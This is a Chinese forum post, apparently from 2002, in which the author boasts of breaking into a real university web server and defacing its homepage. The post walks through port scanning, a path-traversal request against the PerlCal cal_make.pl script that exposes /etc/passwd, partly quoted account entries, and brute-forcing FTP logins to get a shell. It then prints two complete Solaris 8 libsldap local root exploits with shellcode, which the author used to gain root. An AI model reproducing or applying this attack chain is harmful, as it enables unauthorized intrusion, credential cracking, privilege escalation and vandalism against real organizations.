很多人都不明白cgi漏洞的好的利用，大多数只会完unicode或idq之类简单的漏洞，今天我就来谈谈我是怎么利用一个cgi漏洞攻克一台 solaris 8 的。
本来这文章也懒得写了，不过前阵子用这种思路K了好些网站之后，无痕大哥要我写出来，再加上傲气雄鹰这个居心不良的家伙喊我去做他
那里的入侵实例版的斑竹，我就只好利用今天下雨，来啃篇文章了，错误之处还请大家指正。
在我攻克的几家网站中，www.uta.edu是安全措施做的最好的，其他的也没什么困难，也不过是些过滤之类的麻烦。那么，我就把我攻克
uta.edu的过程写出来好了.
首先，我们ping一下
C:\>ping www.uta.edu
Pinging sun250.uta.edu [129.107.56.154] with 32 bytes of data:
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Ping statistics for 129.107.56.154:
Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
C:\>
faint，看来装了防火墙或做了icmp过滤之类~~~@_@
没关系,我们至少得到了ip.
我们再来,能够看到他的页面,说明80可能开了
那么,我们请出瑞士军刀netcat,嘻嘻,我最喜欢了.
C:\>nc -vv 129.107.56.154 80
sun250.uta.edu [129.107.56.154] 80 (http) open
GET / HTTP/1.1
HTTP/1.1 400 Bad Request
Date: Tue, 14 May 2002 07:03:02 GMT
Server: Apache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
127
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>400 Bad Request</TITLE>
</HEAD><BODY>
<H1>Bad Request</H1>
Your browser sent a request that this server could not understand.<P>
client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /<P>
</BODY></HTML>
0
sent 16, rcvd 480: NOTSOCK
C:\>
呵呵,又搞到不少有用信息.我来解释一下,在这里,我用get / http/1.1来取得他的webserver的相关信息:)
那么我们得到了什么呢?只知道了是apache~~~~faint,连版本都没搞到~~~@_@我愤怒了,于是请出扫描器之王namp~~~@_@
嘻嘻,我个人认为nmap比shadow security scanner管用多了!!哈哈,特别是在版本的判断上
好,我们来扫.这里我用的是nt下的版本,在www.patching.net/abu有下载~~~@_@不过要先装winpcap---一个非常好的东西
C:\>nmap -sS -O -vv 129.107.56.154
Starting nmap V. 2.54BETA32 ( www.insecure.org/nmap )
Host sun250.uta.edu (129.107.56.154) appears to be up ... good.
Initiating SYN Stealth Scan against sun250.uta.edu (129.107.56.154)
Adding open port 443/tcp
Adding open port 514/tcp
Adding open port 111/tcp
Adding open port 21/tcp
Adding open port 587/tcp
Adding open port 23/tcp
Adding open port 6000/tcp
Adding open port 80/tcp
Adding open port 22/tcp
Adding open port 32772/tcp
Adding open port 32771/tcp
Adding open port 3306/tcp
The SYN Stealth Scan took 33 seconds to scan 1554 ports.
For OSScan assuming that port 21 is open and port 1 is closed and neither are firewalled
Interesting ports on sun250.uta.edu (129.107.56.154):
(The 1532 ports scanned but not shown below are in state: closed)
Port State Service
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp filtered smtp
53/tcp filtered domain
80/tcp open http
111/tcp open sunrpc
137/tcp filtered netbios-ns
138/tcp filtered netbios-dgm
139/tcp filtered netbios-ssn
161/tcp filtered snmp
162/tcp filtered snmptrap
443/tcp open https
445/tcp filtered microsoft-ds
514/tcp open shell
587/tcp open submission
3306/tcp open mysql
6000/tcp open X11
6346/tcp filtered gnutella
6699/tcp filtered napster
32771/tcp open sometimes-rpc5
32772/tcp open sometimes-rpc7
Remote operating system guess: Sun Solaris 8 early acces beta through actual release
OS Fingerprint:
TSeq(Class=TR%IPID=I%TS=100HZ)
T1(Resp=Y%DF=Y%W=60DA%ACK=S++%Flags=AS%Ops=NNTNWM)
T2(Resp=N)
T3(Resp=N)
T4(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=)
T5(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=)
T6(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=)
T7(Resp=Y%DF=Y%W=0%ACK=S%Flags=AR%Ops=)
PU(Resp=N)
Uptime 7.325 days (since Tue May 07 07:03:54 2002)
TCP Sequence Prediction: Class=truly random
Difficulty=9999999 (Good luck!)
TCP ISN Seq. Numbers: 3F1DE88F 900E621B 22316BB6 E50C108F D6DE4B4B 7089B80B
IPID Sequence Generation: Incremental
Nmap run completed -- 1 IP address (1 host up) scanned in 50 seconds
C:\>
我来解释一下:)-sS 是选择用syn扫描,嘻嘻,原理不多说-O是判断主机类型,大家都知道nmap的利用tcp/ip堆栈判断系统类型很厉害.-vv是为了
看到详细过程!
faint,这么多被filter的端口~~~@_@我KAO,连25的smtp和161的snmp都给filter了,这里32771和32772等是随机端口,说明有人在远程使用这个机
子~~~~@_@,看来今天要小心,上面有人!!不过还是有几个让我兴奋的端口,比如21,22,23,111,80,514,3306等.
好,我们再来看主机类型@_@faint,居然是Sun Solaris 8 early acces beta through actual release还好不是最新版,还有点办法~~~@_@不过
sunos5.8的大bug好象不多,管他的,先事事snmpdmid的那个古老的远程溢出~~~@_@结果failed,果然不出所料,这种大型网站一般比较坚挺~~~@_@
恩,试了几个rpc都不行~~~@_@
好了,第一轮探测结束,现在开始第二轮,再用nc,看下各个服务的banner再说~~~
以下是nc的结果
220 sun250 FTP server (Version wu-2.6.2(1) Tue May 7 09:50:51 CDT 2002) ready.
KAO,把我吓着了~~~@_@wuftp2.6.2,看来即使有帐号这条路也走不通了
SSH-2.0-OpenSSH_3.1p1
倒~~~@_@真是神仙~~~~这么高的版本,看来ssh这条路也难走~~~
telnet 23一下看,只看到是sunos5.8随便试了几个帐号比如test都没成功,这样不是办法啊~~~@_@
啊,还有个3306的mysql比较好看~~用客户端连连看,结果要密码~~~faint
难道真的没有办法了吗~~~???我实在是不愿意走cgi这条路~~~@_@,唉,没办法,我们来吧~~~
于是我拿出了sss(我们的shadow)先扫扫~~~@_@再看,由于我一直找不到好的cgi扫描器,所以目前一般用sss扫cgi,伤脑筋,谁有好的记得告诉我
:)
让他慢慢扫了,我先去和x-laser打桌球去~~~@_@呵呵,x-laser今天去会考,祝他好运!唉,sss就是让我等的心急~~~~听歌去,现在日本新出个歌手
叫鬼束千寻 ,歌很不错啊~~~推荐大家听听.....
sss扫好了,放眼望去,结果一般,不过有一个cgi漏洞~~~-------cal_make.pl,tmd,今天前面扯了这么久终于进入正题了!去hack.co.za的镜像翻
了翻,发现这个属于showfile类型,也就是说可以读取文件!!哈哈,描述如下
Name : PerlCal
About : cal_make.pl of the PerlCal script may allow remote users(website visitors) to view any file on a webserver
(dependingon the user the webserver is running on).
Exploit:
http://www.VULNERABLE.com/cgi-bin/cal_make.pl?\
p0=../../../../../../../../../../../../etc/passwd%00
by: stan (stan@whizkunde.org)
这应该是一个计数器程序的漏洞,嘿嘿,看来uta.edu百密必有一疏,cgi和udp一般是不被人重视的.我们现在试试这个漏洞看~~~@_@
在浏览器输入
http://www.uta.edu/cgi-bin/perlcal/cal_make.pl?p0=../../../../../../../../../../../../../etc/passwd%00
YAHOOOOOOOOOOOOOOOOOOOOO~~~~~~我们成功了,we got it~~~哈哈哈哈哈哈,爽,看到大量帐号,我有预感今天要发财.
显示如下
root:x:0:1:Super-User:/:/sbin/sh acctmgr:x:0:3040:PUID Account Manager:/home/acs/acctmgr:/usr/bin/tcsh daemon:x:1:1::/:
bin:x:2:2::/usr/bin: sys:x:3:3::/: adm:x:4:4:Admin:/var/adm: lp:x:71:8:Line Printer Admin:/usr/spool/lp: uucp:x:5:5:uucp
Admin:/usr/lib/uucp: nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico listen:x:37:4:Network
Admin:/usr/net/nls: nobody:x:60001:60001:Nobody:/: noaccess:x:60002:60002:No Access User:/: nobody4:x:65534:65534:SunOS 4.x
Nobody:/: bbuser:x:200:3040:Big Brother User Account:/home/acs/bbuser:/usr/bin/tcsh lynx:x:201:50:Apache
User:/:/usr/local/bin/false mysql:x:29840:1::/home/mysql:/bin/sh jth:x:12715:10:JASON T
.......
下面还有好多,限于篇幅就不写了~~~@_@不过,这是一个shadow过了passwd,怎么办?很多人到这里就放弃,不过如果我放弃了就做不了幻影旅团团
长了~~~~得到用户名的第一反应应该是高兴,特别是得到了大量的用户名的时候!因为意味着可能存在弱口令!
所以现在我们的思路就是分离出username然后做成字典,就可以跑了!这个时候,前面的ftp服务就显出其重要的地位了!!!
好了,说的轻松,要分离出用户名不是那么简单的!首先是这个的格式问题!浏览器里面的格式和passwd的标准格式存在出入
如果是标准格式,我们可以直接在linux下这样分离
假设pp是一个passwd文件
那么我
$cut -d: -f 1 pp > tt
通过这一句命令就实现了以上功能。写入了文件tt
-d是把 “：”作为分隔符 ，-f是指取第一个字段
这样就就可以很方便的把users提出来
syshunter提供的一种方法是使用awk
cat passwd│awk '{if ($NF=="bash") print $NF}'
而这些的效果都不是很好,这个时候我的副团长atomic马上根据需要写了个小程序,用以分离username,非常好用
Atomic说:
回复:syshunter，atmoic我找到一种更简单的提炼用户名的方法
我的程序是多行/单行通吃的哦
无论你是所有文件集中在一行 (?../../../etc/passwd得到的)
还是!cat下来的都可以：）
哈哈,他的的确好用,而且是windows下的图形界面 :)同时有找出空口令的功能
可以在http://apower.uhome.net/getusers.exe下载~~~@_@
顺便提一句,以前coolfire的那个分离用户名的没作用@_@
于是,我得到了几百个用户名!!!!马上挂上流光,跑ftp
晕~~~@_@开始一遍什么都没扫到~~@_@
KAO,我不信!几百个user会没有弱口令?不对,于是我放低线程
休息片克~~~终于有收获了~~~不过只有3个~~~
我迫不及待的telnet上去,倒~~~@_@进不去,不会吧~~~~~再回过头看下passwd文件,倒~~~这个居然是没shell的faint
换~~~终于看到一个tt的帐号有shell
呵呵,好事多磨~~~,现在telnet上去喽~~!!!!!!
于是我得到了一个shell,我赶紧去找网页目录,find / -name "index.htm" -print
倒~~~找了很多,不过没一个是,看来是权限不够~~!!
我咬咬牙,决定得到他的root,先find一遍没有发现可用的 suid shell
恩,看来安全设置不错,幸好还允许我生成core文件,所以我准备来本地溢出.
在安焦上找了个代码,嘿嘿,在国内我成功过的,现在来看看.下面是我在safechina发的帖子,关于sunos5.8的本地溢出
-----------------------------------------------------------------------------------------------------------------------------
记得以前cooldidi兄问我关于在sunos5.8下提升权限问题
当时没什么需要，也没去注意，现在要用了，就找了下：）
首先solaris的gcc 一般在/usr/local/bin/gcc
所以可以在gcc上编译，代码在安焦有
====================================================
From: Noir Desir <noir@gsu.linux.org.tr>
To: bugtraq@securityfocus.com <bugtraq@securityfocus.com>
Subject: Solaris 8 libsldap exploit
Date: 2001-7-5 14:14:00
====================================================
Hi,
I wish to free this one since it has been made public by some
ppl. libsldap hole has been
known for long. As far as I know, sway@hack.co.za did actually found the
hole several months
ago and generously let me know about it. All propz goes to him. Thanks
bro.
Exploit is plain simple, tested on an Ultra10 and an Enterprise 3500 with
success.
I usually support the anti-sec movement but I got my reasons to publish
the exploit.
If you want to know why, please do mail me.
$ ./libsldap-exp
libsldap.so.1 $LDAP_OPTIONS enviroment variable buffer overflow
Exploit code: noir@gsu.linux.org.tr
Bug discovery: sway@hack.co.za
Usage: ./libsldap-exp target#
target#: 0, /usr/bin/passwd Solaris8, Sparc64
target#: 1, /usr/bin/nispasswd Solaris8, Sparc64
target#: 2, /usr/bin/yppasswd Solaris8, Sparc64
target#: 3, /usr/bin/chkey Solaris8, Sparc64
target#: 4, /usr/lib/sendmail Solaris8, Sparc64
$ ./libsldap-exp 0
# id
uid=0(root) gid=0(root)
#
PS: t(L)amer sahin kicina oyle bir tekme yiyeceksinki, agzindan cikicak.
Haberin olsun istedim : )
Greetings: sway, anathema, gov-boi, www.hack.co.za, ertan_kurt, cronos
cheers,
noir
/** !!!PRIVATE!!!
** noir@gsu.linux.org.tr
** libsldap.so.1 $LDAP_OPTIONS enviroment variable overflow exploit;
**
**/
#include <stdio.h>
#define ADJUST 1
/* anathema@hack.co.za
** Solaris/SPARC shellcode
** setreuid(0, 0); setregid(0, 0); execve("/bin/sh", args, 0);
*/
char shellcode[] =
"\x90\x1a\x40\x09\x92\x1a\x40\x09\x82\x10\x20\xca\x91\xd0\x20\x08"
"\x90\x1a\x40\x09\x92\x1a\x40\x09\x82\x10\x20\xcb\x91\xd0\x20\x08"
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08";
struct type {
char *string;
char *path;
long retaddr;
};
struct type target[] =
{
{ "0, /usr/bin/passwd Solaris8, Sparc64", "/usr/bin/passwd", 0xffbefe98 },
{ "1, /usr/bin/nispasswd Solaris8, Sparc64", "/usr/bin/nispasswd", 0xffbefe98 },
{ "2, /usr/bin/yppasswd Solaris8, Sparc64", "/usr/bin/yppasswd", 0xffbefe98 },
{ "3, /usr/bin/chkey Solaris8, Sparc64 ", "/usr/bin/chkey", 0xffbefea8 },
{ "4, /usr/lib/sendmail Solaris8, Sparc64", "/usr/lib/sendmail", 0xffbefeb8 },
{ NULL, NULL, 0 }
};
int i;
unsigned long ret_adr;
char ldap[4000];
char egg[400];
char *envs[] = { ldap, egg, NULL };
main(int argc, char *argv[])
{
if(!argv[1])
{
fprintf(stderr, "libsldap.so.1 $LDAP_OPTIONS enviroment variable \
buffer overflow\nExploit code: noir@gsu.linux.org.tr\nBug discovery: sway@hack.co.za\n\nUsage: %s target#\n\n", argv[0]);
for(i = 0; target.string != NULL; i++)
fprintf(stderr,"target#: %s\n", target.string);
exit(0);
}
ret_adr = target[atoi(argv[1])].retaddr;
memset(egg, 0x00, sizeof egg);
for(i = 0 ; i < 400 - strlen(shellcode) ; i +=4)
*(long *)&egg = 0xa61cc013;
for (i= 0 ; i < strlen(shellcode); i++)
egg[200+i]=shellcode;
for ( i = 0; i < ADJUST; i++) ldap=0x58;
for (i = ADJUST; i < 4000; i+=4)
{
ldap[i+3]=ret_adr & 0xff;
ldap[i+2]=(ret_adr >> 8 ) &0xff;
ldap[i+1]=(ret_adr >> 16 ) &0xff;
ldap[i+0]=(ret_adr >> 24 ) &0xff;
}
memcpy(ldap, "LDAP_OPTIONS=", 13);
ldap[strlen(ldap) - 3] = 0x00; //ldap[3998] has to be NULL terminated
execle(target[atoi(argv[1])].path, "12341234", (char *)0, envs);
}
编译后执行就是root了 ：）
enjoy it
-----------------------------------------------------------------------------------------------------------------------------
是游戏时间了！
补充一点,gcc一般sunos5.8都装了,5.7则不一定 @_@
这个代码是noir写的,倒~~~noir不是一个动画的名字吗>不过这个noir倒是我的偶像哦~~~
编译后运行,倒!~~~失败,原因不明,估计也是那个该死的root做了些很bt的西西.倒~~~
我这次真的火了
$uname -a
SunOS sun250 5.8 Generic_108528-02 sun4u sparc SUNW,Ultra-250
KAO,就是这个鸟版本,faint
我一气之下就去hack.co.za的镜像又拖了个exploit,呵呵,是lsd-pl写的,他们都东西我很喜欢,崇拜~~!!!!!!偶像!!!~~~!!!!@_@
这个代码是hack.co.za上2001年7月才发布的,想必很多人都没有,赶快收好吧!!
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
/*## copyright LAST STAGE OF DELIRIUM jun 2001 poland *://lsd-pl.net/ #*/
/*## libsldap.so.1 #*/
#define NOPNUM 16000
#define ADRNUM 512
char setuidcode[]=
"\x90\x08\x3f\xff" /* and %g0,-1,%o0 */
"\x82\x10\x20\x17" /* mov 0x17,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
;
char shellcode[]=
"\x20\xbf\xff\xff" /* bn,a <shellcode-4> */
"\x20\xbf\xff\xff" /* bn,a <shellcode> */
"\x7f\xff\xff\xff" /* call <shellcode+4> */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0xb,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh"
;
char jump[]=
"\x81\xc3\xe0\x08" /* jmp %o7+8 */
"\x90\x10\x00\x0e" /* mov %sp,%o0 */
;
static char nop[]="\x80\x1c\x40\x11";
main(int argc,char **argv){
char buffer[30000],adr[4],*b,*envp[3];
int i,n=-1;
printf("copyright LAST STAGE OF DELIRIUM jun 2001 poland //lsd-pl.net/\n");
printf("libsldap.so.1 solaris 2.8 sparc\n\n");
if(argc==1){
printf("usage: %s {passwd│chkey│sendmail}\n",argv[0]);exit(-1);
}
if(!strcmp(argv[1],"passwd")) n=0;
if(!strcmp(argv[1],"chkey")) n=1;
if(!strcmp(argv[1],"sendmail")) n=2;
if(n==-1) exit(-1);
*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+14900+8000;
envp[0]=&buffer[0];
envp[1]=&buffer[1000];
envp[2]=0;
b=&buffer[0];
sprintf(b,"LDAP_OPTIONS=");
b+=13;
for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
*b=0;
b=&buffer[1000];
sprintf(b,"xxx= ");
b+=4+2;
for(i=0;i<16000;i++) *b++=nop[i%4];
for(i=0;i<strlen(setuidcode);i++) *b++=setuidcode;
for(i=0;i<strlen(shellcode);i++) *b++=shellcode;
*b=0;
switch(n){
case 0: execle("/usr/bin/passwd","lsd",0,envp);
case 1: execle("/usr/bin/chkey","lsd",0,envp);
case 2: execle("/usr/lib/sendmail","lsd",0,envp);
}
}
/* www.hack.co.za [10 July 2001]*/
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
编译后运行,于是我成功的得到了root!!!!哈哈哈哈哈哈,这次可以真的开心的笑了!!
找到他主页后,替换成我的,嘻嘻,写上我和x-laser的名字 :)
好玩 :)
不过半小时后就恢复了~~~@_@faint,外国人办事效率就是高!!!
总结:以上主要体现了入侵的思路
1.查点--知道ip,域名等
2.端口扫描,判断主机类型----nmap,嘿嘿
3.看个服务的banner----比如ftp啊,ssh之类,看有无可以利用的
4.实在没办法了再转向cgi与udp,因为这些往往是入侵的难点和安全设置中疏忽的地方!!!就如同上面这次入侵
在整个过程中我协调了各种作战方法,整体来说还是比较满意 :)大家的思路可以参考红色警戒的ananlysist写的入侵思路
推荐
评论(1条)
